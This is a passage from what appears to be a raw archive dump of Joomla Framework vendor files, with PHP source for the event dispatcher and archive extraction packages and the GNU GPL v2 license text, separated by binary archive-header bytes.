@since 1.0 */ public function getPriority($listener, $default = null) { if ($this->storage->contains($listener)) { return $this->storage[$listener][0]; } return $default; } /** * Get all listeners contained in this queue, sorted according to their priority. * * @return object[] An array of listeners. * * @since 1.0 */ public function getAll() { $listeners = array(); // Get a clone of the queue. $queue = $this->getIterator(); foreach ($queue as $listener) { $listeners[] = $listener; } return $listeners; } /** * Get the inner queue with its cursor on top of the heap. * * @return SplPriorityQueue The inner queue. * * @since 1.0 */ public function getIterator() { // SplPriorityQueue queue is a heap. $queue = clone $this->queue; if (!$queue->isEmpty()) { $queue->top(); } return $queue; } /** * Count the number of listeners in the queue. * * @return integer The number of listeners in the queue. * * @since 1.0 */ public function count() { return \count($this->queue); } } PKÜ�\��s�U)U)&vendor/joomla/event/src/Dispatcher.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; use Closure; use InvalidArgumentException; /** * Implementation of a DispatcherInterface supporting * prioritized listeners. * * @since 1.0 */ class Dispatcher implements DispatcherInterface { /** * An array of registered events indexed by * the event names. * * @var EventInterface[] * * @since 1.0 */ protected $events = array(); /** * A regular expression that will filter listener method names. * * @var string * @since 1.0 * @deprecated 1.1.0 */ protected $listenerFilter; /** * An array of ListenersPriorityQueue indexed * by the event names. * * @var ListenersPriorityQueue[] * * @since 1.0 */ protected $listeners = array(); /** * Set an event to the dispatcher. * It will replace any event with the same name. * * @param EventInterface $event The event. * * @return Dispatcher This method is chainable. * * @since 1.0 */ public function setEvent(EventInterface $event) { $this->events[$event->getName()] = $event; return $this; } /** * Sets a regular expression to filter the class methods when adding a listener. * * @param string $regex A regular expression (for example '^on' will only register methods starting with "on"). * * @return Dispatcher This method is chainable. * * @since 1.0 * @deprecated 1.1.0 Incorporate a method in your listener object such as `getEvents` to feed into the `setListener` method. */ public function setListenerFilter($regex) { $this->listenerFilter = $regex; return $this; } /** * Add an event to this dispatcher, only if it is not existing. * * @param EventInterface $event The event. * * @return Dispatcher This method is chainable. * * @since 1.0 */ public function addEvent(EventInterface $event) { if (!isset($this->events[$event->getName()])) { $this->events[$event->getName()] = $event; } return $this; } /** * Tell if the given event has been added to this dispatcher. * * @param EventInterface|string $event The event object or name. * * @return boolean True if the listener has the given event, false otherwise. * * @since 1.0 */ public function hasEvent($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } return isset($this->events[$event]); } /** * Get the event object identified by the given name. * * @param string $name The event name. * @param mixed $default The default value if the event was not registered. * * @return EventInterface|mixed The event of the default value. * * @since 1.0 */ public function getEvent($name, $default = null) { if (isset($this->events[$name])) { return $this->events[$name]; } return $default; } /** * Remove an event from this dispatcher. * The registered listeners will remain. * * @param EventInterface|string $event The event object or name. * * @return Dispatcher This method is chainable. * * @since 1.0 */ public function removeEvent($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } if (isset($this->events[$event])) { unset($this->events[$event]); } return $this; } /** * Get the registered events. * * @return EventInterface[] The registered event. * * @since 1.0 */ public function getEvents() { return $this->events; } /** * Clear all events. * * @return EventInterface[] The old events. * * @since 1.0 */ public function clearEvents() { $events = $this->events; $this->events = array(); return $events; } /** * Count the number of registered event. * * @return integer The numer of registered events. * * @since 1.0 */ public function countEvents() { return \count($this->events); } /** * Add a listener to this dispatcher, only if not already registered to these events. * If no events are specified, it will be registered to all events matching it's methods name. * In the case of a closure, you must specify at least one event name. * * @param object|Closure $listener The listener * @param array $events An associative array of event names as keys * and the corresponding listener priority as values. * * @return Dispatcher This method is chainable. * * @throws InvalidArgumentException * * @since 1.0 */ public function addListener($listener, array $events = array()) { if (!\is_object($listener)) { throw new InvalidArgumentException('The given listener is not an object.'); } // We deal with a closure. if ($listener instanceof Closure) { if (empty($events)) { throw new InvalidArgumentException('No event name(s) and priority specified for the Closure listener.'); } foreach ($events as $name => $priority) { if (!isset($this->listeners[$name])) { $this->listeners[$name] = new ListenersPriorityQueue; } $this->listeners[$name]->add($listener, $priority); } return $this; } // We deal with a "normal" object. $methods = get_class_methods($listener); if (!empty($events)) { $methods = array_intersect($methods, array_keys($events)); } // @deprecated $regex = $this->listenerFilter ?: '.*'; foreach ($methods as $event) { // @deprecated - this outer `if` is deprecated. if (preg_match("#$regex#", $event)) { // Retain this inner code after removal of the outer `if`. if (!isset($this->listeners[$event])) { $this->listeners[$event] = new ListenersPriorityQueue; } $priority = isset($events[$event]) ? $events[$event] : Priority::NORMAL; $this->listeners[$event]->add($listener, $priority); } } return $this; } /** * Get the priority of the given listener for the given event. * * @param object|Closure $listener The listener. * @param EventInterface|string $event The event object or name. * * @return mixed The listener priority or null if the listener doesn't exist. * * @since 1.0 */ public function getListenerPriority($listener, $event) { if ($event instanceof EventInterface) { $event = $event->getName(); } if (isset($this->listeners[$event])) { return $this->listeners[$event]->getPriority($listener); } } /** * Get the listeners registered to the given event. * * @param EventInterface|string $event The event object or name. * * @return object[] An array of registered listeners sorted according to their priorities. * * @since 1.0 */ public function getListeners($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } if (isset($this->listeners[$event])) { return $this->listeners[$event]->getAll(); } return array(); } /** * Tell if the given listener has been added. * If an event is specified, it will tell if the listener is registered for that event. * * @param object|Closure $listener The listener. * @param EventInterface|string $event The event object or name. * * @return boolean True if the listener is registered, false otherwise. * * @since 1.0 */ public function hasListener($listener, $event = null) { if ($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } if (isset($this->listeners[$event])) { return $this->listeners[$event]->has($listener); } } else { foreach ($this->listeners as $queue) { if ($queue->has($listener)) { return true; } } } return false; } /** * Remove the given listener from this dispatcher. * If no event is specified, it will be removed from all events it is listening to. * * @param object|Closure $listener The listener to remove. * @param EventInterface|string $event The event object or name. * * @return Dispatcher This method is chainable. * * @since 1.0 */ public function removeListener($listener, $event = null) { if ($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } if (isset($this->listeners[$event])) { $this->listeners[$event]->remove($listener); } } else { foreach ($this->listeners as $queue) { $queue->remove($listener); } } return $this; } /** * Clear the listeners in this dispatcher. * If an event is specified, the listeners will be cleared only for that event. * * @param EventInterface|string $event The event object or name. * * @return Dispatcher This method is chainable. * * @since 1.0 */ public function clearListeners($event = null) { if ($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } if (isset($this->listeners[$event])) { unset($this->listeners[$event]); } } else { $this->listeners = array(); } return $this; } /** * Count the number of registered listeners for the given event. * * @param EventInterface|string $event The event object or name. * * @return integer The number of registered listeners for the given event. * * @since 1.0 */ public function countListeners($event) { if ($event instanceof EventInterface) { $event = $event->getName(); } return isset($this->listeners[$event]) ? \count($this->listeners[$event]) : 0; } /** * Trigger an event. * * @param EventInterface|string $event The event object or name. * * @return EventInterface The event after being passed through all listeners. * * @since 1.0 */ public function triggerEvent($event) { if (!($event instanceof EventInterface)) { if (isset($this->events[$event])) { $event = $this->events[$event]; } else { $event = new Event($event); } } if (isset($this->listeners[$event->getName()])) { foreach ($this->listeners[$event->getName()] as $listener) { if ($event->isStopped()) { return $event; } if ($listener instanceof Closure) { \call_user_func($listener, $event); } else { \call_user_func(array($listener, $event->getName()), $event); } } } return $event; } } PKÜ�\l�Y� !vendor/joomla/event/src/Event.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; use InvalidArgumentException; /** * Default Event class. * * @since 1.0 */ class Event extends AbstractEvent { /** * Add an event argument, only if it is not existing. * * @param string $name The argument name. * @param mixed $value The argument value. * * @return Event This method is chainable. * * @since 1.0 */ public function addArgument($name, $value) { if (!isset($this->arguments[$name])) { $this->arguments[$name] = $value; } return $this; } /** * Set the value of an event argument. * If the argument already exists, it will be overridden. * * @param string $name The argument name. * @param mixed $value The argument value. * * @return Event This method is chainable. * * @since 1.0 */ public function setArgument($name, $value) { $this->arguments[$name] = $value; return $this; } /** * Remove an event argument. * * @param string $name The argument name. * * @return mixed The old argument value or null if it is not existing. * * @since 1.0 */ public function removeArgument($name) { $return = null; if (isset($this->arguments[$name])) { $return = $this->arguments[$name]; unset($this->arguments[$name]); } return $return; } /** * Clear all event arguments. * * @return array The old arguments. * * @since 1.0 */ public function clearArguments() { $arguments = $this->arguments; $this->arguments = array(); return $arguments; } /** * Stop the event propagation. * * @return void * * @since 1.0 */ public function stop() { $this->stopped = true; } /** * Set the value of an event argument. * * @param string $name The argument name. * @param mixed $value The argument value. * * @return void * * @throws InvalidArgumentException If the argument name is null. * * @since 1.0 */ public function offsetSet($name, $value) { if ($name === null) { throw new InvalidArgumentException('The argument name cannot be null.'); } $this->setArgument($name, $value); } /** * Remove an event argument. * * @param string $name The argument name. * * @return void * * @since 1.0 */ public function offsetUnset($name) { $this->removeArgument($name); } } PKÜ�\C�aa0vendor/joomla/event/src/DispatcherAwareTrait.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; /** * Defines the trait for a Dispatcher Aware Class. * * @since 1.2.0 */ trait DispatcherAwareTrait { /** * Event Dispatcher * * @var DispatcherInterface * @since 1.2.0 */ private $dispatcher; /** * Get the event dispatcher. * * @return DispatcherInterface * * @since 1.2.0 * @throws \UnexpectedValueException May be thrown if the dispatcher has not been set. */ public function getDispatcher() { if ($this->dispatcher) { return $this->dispatcher; } throw new \UnexpectedValueException('Dispatcher not set in ' . __CLASS__); } /** * Set the dispatcher to use. * * @param DispatcherInterface $dispatcher The dispatcher to use. * * @return $this * * @since 1.2.0 */ public function setDispatcher(DispatcherInterface $dispatcher) { $this->dispatcher = $dispatcher; return $this; } } PKÜ�\�&�� *vendor/joomla/event/src/EventImmutable.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; use BadMethodCallException; /** * Implementation of an immutable Event. * An immutable event cannot be modified after instanciation : * * - its propagation cannot be stopped * - its arguments cannot be modified * * You may want to use this event when you want to ensure that * the listeners won't manipulate it. * * @since 1.0 */ final class EventImmutable extends AbstractEvent { /** * A flag to see if the constructor has been * already called. * * @var boolean */ private $constructed = false; /** * Constructor. * * @param string $name The event name. * @param array $arguments The event arguments. * * @throws BadMethodCallException * * @since 1.0 */ public function __construct($name, array $arguments = array()) { if ($this->constructed) { throw new BadMethodCallException( sprintf('Cannot reconstruct the EventImmutable %s.', $this->name) ); } $this->constructed = true; parent::__construct($name, $arguments); } /** * Set the value of an event argument. * * @param string $name The argument name. * @param mixed $value The argument value. * * @return void * * @throws BadMethodCallException * * @since 1.0 */ public function offsetSet($name, $value) { throw new BadMethodCallException( sprintf( 'Cannot set the argument %s of the immutable event %s.', $name, $this->name ) ); } /** * Remove an event argument. * * @param string $name The argument name. * * @return void * * @throws BadMethodCallException * * @since 1.0 */ public function offsetUnset($name) { throw new BadMethodCallException( sprintf( 'Cannot remove the argument %s of the immutable event %s.', $name, $this->name ) ); } } PKÜ�\�h�Hyy0vendor/joomla/event/src/DelegatingDispatcher.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; /** * A dispatcher delegating its methods to an other dispatcher. * * @since 1.0 * @deprecated 2.0 Create your own delegating (decorating) dispatcher as needed. */ final class DelegatingDispatcher implements DispatcherInterface { /** * The delegated dispatcher. * * @var DispatcherInterface * @since 1.0 */ private $dispatcher; /** * Constructor. * * @param DispatcherInterface $dispatcher The delegated dispatcher. * * @since 1.0 */ public function __construct(DispatcherInterface $dispatcher) { $this->dispatcher = $dispatcher; } /** * Trigger an event. * * @param EventInterface|string $event The event object or name. * * @return EventInterface The event after being passed through all listeners. * * @since 1.0 */ public function triggerEvent($event) { return $this->dispatcher->triggerEvent($event); } } PKÜ�\��VV/vendor/joomla/event/src/DispatcherInterface.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; /** * Interface for event dispatchers. * * @since 1.0 */ interface DispatcherInterface { /** * Trigger an event. * * @param EventInterface|string $event The event object or name. * * @return EventInterface The event after being passed through all listeners. * * @since 1.0 */ public function triggerEvent($event); } PKÜ�\K�a�[[$vendor/joomla/event/src/Priority.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; /** * An enumeration of priorities for event listeners, * that you are encouraged to use when adding them in the Dispatcher. * * @since 1.0 */ final class Priority { const MIN = -3; const LOW = -2; const BELOW_NORMAL = -1; const NORMAL = 0; const ABOVE_NORMAL = 1; const HIGH = 2; const MAX = 3; } PKÜ�\$�����4vendor/joomla/event/src/DispatcherAwareInterface.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; /** * Interface to be implemented by classes depending on a dispatcher. * * @since 1.0 */ interface DispatcherAwareInterface { /** * Set the dispatcher to use. * * @param DispatcherInterface $dispatcher The dispatcher to use. * * @return DispatcherAwareInterface This method is chainable. * * @since 1.0 */ public function setDispatcher(DispatcherInterface $dispatcher); } PKÜ�\�P�E�Evendor/joomla/archive/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\�T�;��Cvendor/joomla/archive/src/Exception/UnsupportedArchiveException.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive\Exception; /** * Exception class defining an unsupported archive adapter * * @since 1.1.7 */ class UnsupportedArchiveException extends \InvalidArgumentException { } PKÜ�\i�"��?vendor/joomla/archive/src/Exception/UnknownArchiveException.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive\Exception; /** * Exception class defining an unknown archive type * * @since 1.1.7 */ class UnknownArchiveException extends \InvalidArgumentException { } PKÜ�\|��WW2vendor/joomla/archive/src/ExtractableInterface.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive; /** * Archive class interface * * @since 1.0 */ interface ExtractableInterface { /** * Extract a compressed file to a given path * * @param string $archive Path to archive to extract * @param string $destination Path to extract archive to * * @return boolean True if successful * * @since 1.0 * @throws \RuntimeException */ public function extract($archive, $destination); /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 1.0 */ public static function isSupported(); } PKÜ�\� #vendor/joomla/archive/src/Bzip2.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive; use Joomla\Filesystem\File; use Joomla\Filesystem\Stream; /** * Bzip2 format adapter for the Archive package * * @since 1.0 */ class Bzip2 implements ExtractableInterface { /** * Bzip2 file data buffer * * @var string * @since 1.0 */ private $data; /** * Holds the options array. * * @var array|\ArrayAccess * @since 1.0 */ protected $options = array(); /** * Create a new Archive object. * * @param array|\ArrayAccess $options An array of options * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($options = array()) { if (!\is_array($options) && !($options instanceof \ArrayAccess)) { throw new \InvalidArgumentException( 'The options param must be an array or implement the ArrayAccess interface.' ); } $this->options = $options; } /** * Extract a Bzip2 compressed file to a given path * * @param string $archive Path to Bzip2 archive to extract * @param string $destination Path to extract archive to * * @return boolean True if successful * * @since 1.0 * @throws \RuntimeException */ public function extract($archive, $destination) { $this->data = null; if (!isset($this->options['use_streams']) || $this->options['use_streams'] == false) { // Old style: read the whole file and then parse it $this->data = file_get_contents($archive); if (!$this->data) { throw new \RuntimeException('Unable to read archive'); } $buffer = bzdecompress($this->data); unset($this->data); if (empty($buffer)) { throw new \RuntimeException('Unable to decompress data'); } if (!File::write($destination, $buffer)) { throw new \RuntimeException('Unable to write archive to file ' . $destination); } } else { // New style! streams! $input = Stream::getStream(); // Use bzip $input->set('processingmethod', 'bz'); if (!$input->open($archive)) { throw new \RuntimeException('Unable to read archive'); } $output = Stream::getStream(); if (!$output->open($destination, 'w')) { $input->close(); throw new \RuntimeException('Unable to open file "' . $destination . '" for writing'); } do { $this->data = $input->read($input->get('chunksize', 8196)); if ($this->data) { if (!$output->write($this->data)) { $input->close(); throw new \RuntimeException('Unable to write archive to file ' . $destination); } } } while ($this->data); $output->close(); $input->close(); } return true; } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 1.0 */ public static function isSupported() { return \extension_loaded('bz2'); } } PKÜ�\5)��DCDC!vendor/joomla/archive/src/Zip.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\Filesystem\Path; /** * ZIP format adapter for the Archive package * * The ZIP compression code is partially based on code from: * Eric Mueller <eric@themepark.com> * http://www.zend.com/codex.php?id=535&single=1 * * Deins125 <webmaster@atlant.ru> * http://www.zend.com/codex.php?id=470&single=1 * * The ZIP compression date code is partially based on code from * Peter Listiak <mlady@users.sourceforge.net> * * This class is inspired from and draws heavily in code and concept from the Compress package of * The Horde Project <http://www.horde.org> * * @contributor Chuck Hagenbuch <chuck@horde.org> * @contributor Michael Slusarz <slusarz@horde.org> * @contributor Michael Cochrane <mike@graftonhall.co.nz> * * @since 1.0 */ class Zip implements ExtractableInterface { /** * ZIP compression methods. * * @var array * @since 1.0 */ private $methods = array( 0x0 => 'None', 0x1 => 'Shrunk', 0x2 => 'Super Fast', 0x3 => 'Fast', 0x4 => 'Normal', 0x5 => 'Maximum', 0x6 => 'Imploded', 0x8 => 'Deflated', ); /** * Beginning of central directory record. * * @var string * @since 1.0 */ private $ctrlDirHeader = "\x50\x4b\x01\x02"; /** * End of central directory record. * * @var string * @since 1.0 */ private $ctrlDirEnd = "\x50\x4b\x05\x06\x00\x00\x00\x00"; /** * Beginning of file contents. * * @var string * @since 1.0 */ private $fileHeader = "\x50\x4b\x03\x04"; /** * ZIP file data buffer * * @var 